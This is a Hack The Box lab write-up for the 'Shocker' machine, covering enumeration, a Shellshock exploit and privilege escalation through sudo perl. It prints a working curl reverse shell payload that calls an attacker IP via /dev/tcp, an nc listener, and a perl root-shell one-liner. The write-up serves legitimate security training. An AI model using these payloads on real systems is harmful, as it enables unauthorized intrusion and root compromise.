Shocker.md
IP: 10.129.93.65
OS: Linux (Ubuntu)
Difficulty: Easy
Date: 2026-10-31
Source: HTB
Nmap
nmap -sV -sC -p- 10.129.93.65
80/tcp open http syn-ack Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
2222/tcp open ssh syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
Enumeration
Web
Navigated to the web server on port 80 and found a simple page with an image saying “Don’t Bug Me!”.

Checked the page source, which only revealed the image bug.jpg and nothing else useful.

Ran a directory brute-force scan (dirsearch) and found an interesting directory returning a 403: /cgi-bin/. A follow-up gobuster scan showed standard 403s for .htaccess and similar files.

Since we knew /cgi-bin/ existed, we ran gobuster specifically against it. The initial attempt with common.txt yielded nothing. However, trying again with a different wordlist and specifying script extensions (-x sh,cgi,pl) revealed a script named user.sh returning a 200 OK status.

Foothold
Vulnerability: Shellshock (CVE-2014-6271)
Exploit: After finding **`/cgi-bin/user.sh`**, we identified that the server was vulnerable to Shellshock. We injected a reverse shell payload into the **`User-Agent`** header using **`curl`**.
curl -A "() { :; }; /bin/bash -i >& /dev/tcp/10.10.15.235/9001 0>&1" http://10.129.93.65/cgi-bin/user.sh
We set up a listener on our machine using rlwrap for a better shell experience.
rlwrap nc -lvnp 9001
We successfully caught the shell as the user shelly and grabbed the user flag.

Privilege Escalation
Vector: Sudo Misconfiguration
Technique: Ran sudo -l to check for any commands the user shelly could run as root without a password. The output showed that shelly could run /usr/bin/perl as root.
We used Perl to spawn a root shell by executing /bin/sh.
sudo perl -e 'exec "/bin/sh"'
We successfully escalated to root and grabbed the root flag.

Flags
- user:
f5e9fbae4e410eaxxxxxxxxxxxxxxx - root:
2859df0fc606a56xxxxxxxxxxxxxxx
Lessons Learned
- Directory Enumeration: When a directory like
/cgi-bin/returns a 403 Forbidden, it means the directory exists but listing is disabled. Always fuzz inside the directory. - Wordlist Selection:
common.txtis not always enough. You often need to specify file extensions (-x sh,cgi,pl) or use more comprehensive lists to find specific scripts. - GTFOBins : When checking
sudo -l, always cross-reference the allowed binaries with GTFOBins. Perl, Python, Find, and Vim are classic ways to break out of restricted sudo rules. - Terminal Quality: Using
rlwrap ncmakes catching reverse shells much more tolerable (enables arrow keys and history).